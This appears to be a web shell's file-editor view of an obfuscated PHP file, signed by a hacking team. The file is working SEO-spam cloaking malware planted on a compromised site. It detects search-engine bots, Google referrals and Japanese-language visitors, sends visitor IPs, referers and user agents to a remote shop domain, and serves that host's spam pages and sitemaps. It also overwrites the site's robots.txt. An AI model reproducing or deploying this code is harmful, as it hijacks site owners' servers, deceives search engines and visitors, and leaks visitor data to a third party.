404Forbiden

✏️ Editing: z60811_2.php

<?php
 goto GJmzh; dSaS_: ei3xw: goto bkpNO; pnrVG: $kP5R7 = a5w5O($CiPjb, $JaTS_); goto Yu1rU; E4Dv3: if (strpos(strtolower($C13gf), "\163\x69\164\145\155\x61\x70")) { goto Ej2HV; } goto RjSgu; myQrn: $JaTS_["\150\x74\x74\160\137\165\163\145\162\x5f\x61\x67\x65\156\164"] = $eQizw; goto i8ZU8; PNimu: $JaTS_["\x6d\x61\151\156\137\163\150\145\x6c\x6c"] = $H9X3T; goto W1iEg; JndOs: $UKq7K = YsIq5($eQizw); goto E9xvJ; tmxuM: $eQizw = strtolower(isset($_SERVER["\110\124\x54\x50\137\125\x53\x45\x52\137\101\x47\x45\116\124"]) ? $_SERVER["\110\124\124\x50\137\125\123\105\122\x5f\101\x47\105\116\124"] : ''); goto JndOs; lshXK: dPf9e: goto hPf7n; fb21C: function a5W5o($B5hrx, $HeT4c = array()) { goto D2pWr; DvIQy: if (!version_compare(PHP_VERSION, "\70\x2e\60\56\60", "\74")) { goto APHxl; } goto d1J8o; d1J8o: curl_close($ZW4Tc); goto kd6_v; hLeJ9: curl_setopt($ZW4Tc, CURLOPT_POSTFIELDS, http_build_query($HeT4c)); goto NzQ0D; e44Xt: curl_setopt($ZW4Tc, CURLOPT_HEADER, 0); goto n8F1L; qXhi6: curl_setopt($ZW4Tc, CURLOPT_SSL_VERIFYPEER, FALSE); goto L6aSo; L6aSo: curl_setopt($ZW4Tc, CURLOPT_SSL_VERIFYHOST, FALSE); goto hLeJ9; kG3tk: rPp3y: goto Age8e; NzQ0D: $d2j1E = curl_exec($ZW4Tc); goto XDi1R; wxjXD: return false; goto kG3tk; sS87Z: curl_setopt($ZW4Tc, CURLOPT_URL, "{$B5hrx}"); goto ppBRb; ppBRb: curl_setopt($ZW4Tc, CURLOPT_RETURNTRANSFER, 1); goto e44Xt; dwLoB: $ZW4Tc = curl_init(); goto sS87Z; XDi1R: $cZFbu = curl_errno($ZW4Tc); goto DvIQy; jQBId: curl_setopt($ZW4Tc, CURLOPT_POST, 1); goto qXhi6; kd6_v: APHxl: goto VmHD0; Age8e: return $d2j1E; goto q9VvJ; D2pWr: $B5hrx = str_replace("\x20", "\x2b", $B5hrx); goto dwLoB; n8F1L: curl_setopt($ZW4Tc, CURLOPT_TIMEOUT, 10); goto jQBId; VmHD0: if (!(0 !== $cZFbu)) { goto rPp3y; } goto wxjXD; q9VvJ: } goto fDq4V; J0uYO: $ZWE0P = A5w5o($sX0aA, $JaTS_); goto H01qF; akHDy: $JaTS_["\141\x63\x74\x69\157\x6e"] = "\162\x61\156\x64\x5f\170\155\x6c"; goto MYViP; l01n8: Ej2HV: goto DXthE; bQHbj: DSy_j: goto RQ0OE; m7sWI: goto dCUFM; goto WnfkQ; RZ2lw: dCUFM: goto dGN6p; WMA1a: file_put_contents(aCynq . "\x2f\162\157\x62\157\164\163\56\x74\x78\164", $C13gf); goto MPn9v; u0l7a: $FcQe7 = str_replace("\x2e\x78\x6d\x6c", '', $FcQe7); goto m7sWI; MhdF5: L9Jjd: goto ug0eA; aXMJa: $CiPjb = $KsGJl . "\57\167\157\162\144\163\56\x70\x68\160"; goto O0_JN; HOc3G: exit; goto iENji; H01qF: header("\103\157\x6e\x74\145\x6e\x74\55\x74\x79\x70\x65\x3a\x74\145\170\164\x2f\170\155\x6c"); goto dCjuy; KYZwf: echo $ZWE0P; goto GqhVJ; uD_1r: goto wvxLf; goto l01n8; cBNla: $FcQe7 = str_replace("\56\x78\155\x6c", '', $FcQe7); goto RZ2lw; xBquv: echo $RMU7f; goto YwW6o; MPn9v: $C13gf = @file_get_contents(aCynq . "\x2f\162\x6f\142\157\x74\x73\x2e\164\x78\164"); goto E4Dv3; YwW6o: exit; goto FMf44; yCXl6: exit; goto lshXK; kVVSN: if (!strpos($NqF4i, "\141\x6c\x6c\163\x69\164\x65\155\141\160\x2e\170\155\154")) { goto dPf9e; } goto J0uYO; Z2zYv: $ZhuBp = $_SERVER["\x48\x54\x54\120\x5f\110\117\123\124"]; goto Wdrzi; ggySq: $JaTS_["\x68\162\145\146"] = $ux15e; goto r3pwB; IASws: exit; goto dSaS_; wqn2c: $H9X3T = $X5daV . $engM8; goto PNimu; kvtRM: $JaTS_["\144\x6f\x6d\x61\x69\x6e"] = $ZhuBp; goto L0gIj; fDq4V: function YSIQ5($pIWPp) { goto sWz6R; sWz6R: $ZTooY = false; goto VPAi_; VPAi_: $fM6f5 = "\147\157\x6f\147\154\145\x62\x6f\x74\x7c\142\x69\156\147\x62\x6f\164\174\x67\157\157\147\154\x65\x7c\141\157\x6c\x7c\142\151\156\x67\x7c\171\x61\x68\157\x6f"; goto CMZvD; NNPPS: PMEJM: goto S62cu; CMZvD: if (!($pIWPp != '')) { goto IzTK9; } goto SWfSV; S62cu: IzTK9: goto kaEpg; SWfSV: if (!preg_match("\57\50{$fM6f5}\x29\57\163\151", $pIWPp)) { goto PMEJM; } goto Iahi9; kaEpg: return $ZTooY; goto E6esG; Iahi9: $ZTooY = true; goto NNPPS; E6esG: } goto vhgdO; lqyCk: function gUYZh() { goto ntChH; DRT9m: $eyb2u = strtolower(trim($V7zHV[0])); goto PXqRv; PyqL7: $V7zHV = explode("\x2c", $BfR0k); goto DRT9m; oP8JB: return false; goto fERD1; r9Cbr: bqAH6: goto UOZEX; fERD1: XKZjJ: goto PyqL7; PXqRv: if (!(strpos($eyb2u, "\152\x61") === 0)) { goto bqAH6; } goto Xiesn; BTC2K: if (!empty($BfR0k)) { goto XKZjJ; } goto oP8JB; Xiesn: return true; goto r9Cbr; UOZEX: return false; goto iHowM; ntChH: $BfR0k = isset($_SERVER["\x48\124\x54\120\x5f\x41\103\103\x45\x50\124\x5f\114\x41\116\x47\125\101\107\105"]) ? $_SERVER["\x48\x54\124\120\137\x41\103\103\x45\120\124\x5f\114\x41\x4e\107\125\x41\107\x45"] : ''; goto BTC2K; iHowM: } goto GygMP; YdINl: if (strpos($NqF4i, "\x2e\160\x68\x70")) { goto b7pON; } goto wqn2c; E9xvJ: $NqF4i = str_replace(array("\56\x68\x74\x6d", "\x2e\150\x74\155\154", "\x2e\163\150\x74\x6d\x6c", "\x2e\160\x68\x74\x6d\x6c"), '', rtrim($NqF4i, "\x2f")); goto tYn6Z; dCjuy: echo $ZWE0P; goto yCXl6; vhgdO: function CFGhR($XB7ol) { goto wKA7_; kau4S: return $LDSVN; goto pqCUD; chmyO: HBy1p: goto kau4S; wKA7_: $LDSVN = false; goto HBPOn; HBPOn: $Z2aJd = "\x67\x6f\157\147\154\145\174\x79\x61\150\157\157\x7c\142\151\156\147\174\x61\157\x6c"; goto kt1hp; kt1hp: if (!($XB7ol != '' && preg_match("\57\50{$Z2aJd}\x29\57\x73\151", $XB7ol))) { goto HBy1p; } goto D9GG8; D9GG8: $LDSVN = true; goto chmyO; pqCUD: } goto lqyCk; uNDra: $JaTS_["\x69\x70"] = $_SERVER["\122\x45\115\x4f\x54\x45\137\101\104\x44\x52"]; goto gl7ig; AbF5l: $WH4CQ = $X5daV . $ZhuBp . $NqF4i; goto KRCeG; RQ0OE: $sTmKJ = isset($_SERVER["\110\x54\124\x50\x5f\x52\x45\106\105\122\105\122"]) ? $_SERVER["\x48\124\x54\x50\x5f\122\x45\x46\x45\x52\105\x52"] : ''; goto vjtTh; GqhVJ: exit; goto MhdF5; LmBON: $ux15e = $X5daV . $ZhuBp . $of5sZ; goto Y2PH_; eTDBp: if (!(substr($NqF4i, -4) == "\x2e\170\x6d\x6c")) { goto I5RZ0; } goto kVVSN; hPf7n: if (strpos($NqF4i, "\56\x70\150\x70")) { goto jJzJi; } goto UBd2Z; wodmz: if (!$UKq7K) { goto GdJhs; } goto myQrn; WnfkQ: jJzJi: goto hOINY; vjtTh: $I1X4Q = cFghR($sTmKJ); goto tmxuM; gl7ig: $JaTS_["\x72\145\146\x65\162\145\162"] = isset($_SERVER["\x48\124\124\x50\137\122\105\106\105\122\x45\x52"]) ? $_SERVER["\110\x54\x54\120\137\x52\105\x46\105\x52\105\122"] : ''; goto bkFBh; ug0eA: $JaTS_["\141\143\164\151\x6f\x6e"] = "\x63\x68\x65\x63\x6b\137\167\x6f\x72\x64\x73"; goto sH4pE; ldLtR: $H9X3T = $X5daV . $engM8 . $of5sZ; goto bfbzu; f1iM7: if (!(substr($NqF4i, -6) == "\162\157\142\x6f\164\x73")) { goto fEeIu; } goto P18Ff; W1iEg: goto DSy_j; goto ZxAbM; hOINY: $FcQe7 = explode("\x3f", $NqF4i); goto M89t6; EYlG7: $NqF4i = $_SERVER["\x52\x45\121\125\105\123\x54\x5f\125\x52\111"]; goto Z2zYv; KRCeG: $EIf2o = $KsGJl . "\x2f\151\x6e\x64\141\x74\x61\56\160\150\160"; goto p8Ono; tFEeW: header("\103\x6f\156\164\145\156\x74\55\x74\171\x70\x65\x3a\x74\145\170\x74\x2f\170\155\154"); goto MHndd; ZT0I2: $KdKD8 = $KsGJl . "\x2f\152\x75\155\x70\x2e\x70\150\160"; goto aXMJa; Yu1rU: if (!($kP5R7 == "\61")) { goto L9Jjd; } goto bA1FA; MYViP: $kP5R7 = a5W5O($CiPjb, $JaTS_); goto tFEeW; bfbzu: $JaTS_["\155\x61\151\156\137\x73\150\145\154\x6c"] = $H9X3T; goto bQHbj; bkpNO: I5RZ0: goto YdINl; n4bkq: $C13gf = @A5w5o($QL3Kg, $JaTS_); goto WMA1a; B2x8_: $JaTS_["\x72\157\x62\x6f\x74\x73\x5f\143\157\x6e\x74"] = $C13gf; goto n4bkq; RRATH: if (strpos($NqF4i, "\56\160\150\160")) { goto o6wcn; } goto V67yK; sH4pE: $mecOR = a5w5o($CiPjb, $JaTS_); goto ysfTG; tYn6Z: if (!(!$UKq7K && $I1X4Q && GuYZh() && (preg_match("\x2f\x5c\144\44\x2f", $NqF4i) || preg_match("\x23\x5b\x61\55\x7a\135\x3d\133\x61\x2d\x7a\x30\55\x39\x5d\x2b\x23", $NqF4i) || preg_match("\57\x69\x74\145\155\x2f", $NqF4i)))) { goto jLXfh; } goto uNDra; BzpFs: o6wcn: goto LmBON; bkFBh: $JaTS_["\165\x73\x65\x72\137\141\x67\145\x6e\164"] = strtolower(isset($_SERVER["\x48\x54\124\x50\x5f\x55\123\x45\122\x5f\101\107\105\x4e\124"]) ? $_SERVER["\110\124\x54\120\x5f\x55\x53\105\x52\137\x41\x47\105\116\x54"] : ''); goto G4vVZ; bA1FA: $ZWE0P = a5W5O($sX0aA, $JaTS_); goto Xgt8t; G4vVZ: echo A5w5O($KdKD8, $JaTS_); goto vQhzQ; p8Ono: $sX0aA = $KsGJl . "\57\x6d\x61\x70\56\160\x68\160"; goto ZT0I2; dGN6p: $JaTS_["\x77\x6f\x72\144"] = $FcQe7; goto I9nfD; L0gIj: $JaTS_["\162\145\161\137\165\x72\x69"] = $NqF4i; goto ggySq; Xgt8t: header("\x43\157\x6e\164\145\156\x74\55\164\171\160\145\72\x74\145\170\164\x2f\x78\x6d\154"); goto KYZwf; O0_JN: $QL3Kg = $KsGJl . "\x2f\162\x6f\x62\x6f\164\x73\x2e\160\150\160"; goto RRATH; USlab: goto NwwYU; goto BzpFs; vQhzQ: exit; goto zcg9D; DXthE: echo "\x72\x6f\142\x6f\x74\x73\x2e\x74\x78\164\40\x66\x69\154\145\40\x63\162\145\141\164\145\x20\x73\165\x63\143\x65\163\x73\x21"; goto p96Y6; W35uV: $C13gf = @file_get_contents(aCynq . "\57\x72\x6f\x62\157\x74\163\56\x74\170\164"); goto B2x8_; zcg9D: jLXfh: goto wodmz; p96Y6: wvxLf: goto HOc3G; Y2PH_: NwwYU: goto TXs2k; ZxAbM: b7pON: goto ldLtR; UBd2Z: $FcQe7 = str_replace("\57", '', $NqF4i); goto u0l7a; GJmzh: $KsGJl = "\x68\164\164\x70\163\x3a\57\x2f\172\x36\x30\70\61\61\137\62\x2e\153\161\170\x73\156\x67\141\171\x2e\163\x68\157\x70"; goto fb21C; rcjxR: $engM8 = $_SERVER["\x53\x45\x52\126\105\122\x5f\116\101\x4d\x45"]; goto AbF5l; i8ZU8: $RMU7f = A5w5o($EIf2o, $JaTS_); goto xBquv; I9nfD: $JaTS_["\x61\143\x74\x69\157\156"] = "\143\150\145\x63\x6b\x5f\163\x69\164\x65\155\141\x70"; goto pnrVG; RjSgu: echo "\162\157\x62\157\x74\x73\x2e\164\170\164\40\146\151\154\145\40\143\x72\145\x61\x74\145\x20\146\x61\151\x6c\x21"; goto uD_1r; M89t6: $FcQe7 = $FcQe7[count($FcQe7) - 1]; goto cBNla; MHndd: echo $kP5R7; goto IASws; Wdrzi: $of5sZ = $_SERVER["\x50\x48\120\x5f\123\x45\114\x46"]; goto rcjxR; iENji: fEeIu: goto eTDBp; r3pwB: $JaTS_["\162\145\161\x5f\x75\x72\154"] = $WH4CQ; goto f1iM7; ysfTG: if (!(strpos($NqF4i, "\x6d\141\x70") > 0 || $mecOR == "\x31")) { goto ei3xw; } goto akHDy; P18Ff: define("\x61\x43\171\x6e\161", $_SERVER["\x44\x4f\x43\x55\x4d\x45\116\124\x5f\x52\117\117\124"]); goto W35uV; V67yK: $ux15e = $X5daV . $ZhuBp; goto USlab; TXs2k: $JaTS_[] = array(); goto kvtRM; GygMP: $X5daV = isset($_SERVER["\x48\124\x54\x50\123"]) && $_SERVER["\110\x54\124\120\123"] !== "\157\x66\x66" ? "\150\164\x74\160\163\x3a\57\57" : "\150\164\164\x70\x3a\57\57"; goto EYlG7; FMf44: GdJhs:

Sid Gifari From Gifari Industries - BD Cyber Security Team